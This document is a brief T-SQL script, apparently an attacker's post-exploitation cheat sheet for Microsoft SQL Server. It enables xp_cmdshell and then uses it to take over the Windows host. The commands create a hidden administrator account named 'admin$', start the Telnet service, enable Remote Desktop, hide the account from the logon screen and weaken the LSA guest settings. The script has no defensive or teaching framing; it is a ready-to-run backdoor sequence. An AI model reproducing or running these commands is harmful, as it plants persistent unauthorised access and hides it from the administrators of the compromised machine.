EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
exec xp_cmdshell 'ver'
go
--user
exec xp_cmdshell 'net user admin$ admin /add & net localgroup administrators admin$ /add'
go
--23
exec xp_cmdshell 'sc config tlntsvr start= auto & net start tlntsvr'
go
--3389
exec xp_cmdshell 'reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
go
--hide
exec xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v admin$ /t REG_DWORD /d 00000000 /f'
go
--ipc$
exec xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v forceguest /t REG_DWORD /d 00000000 /f'
go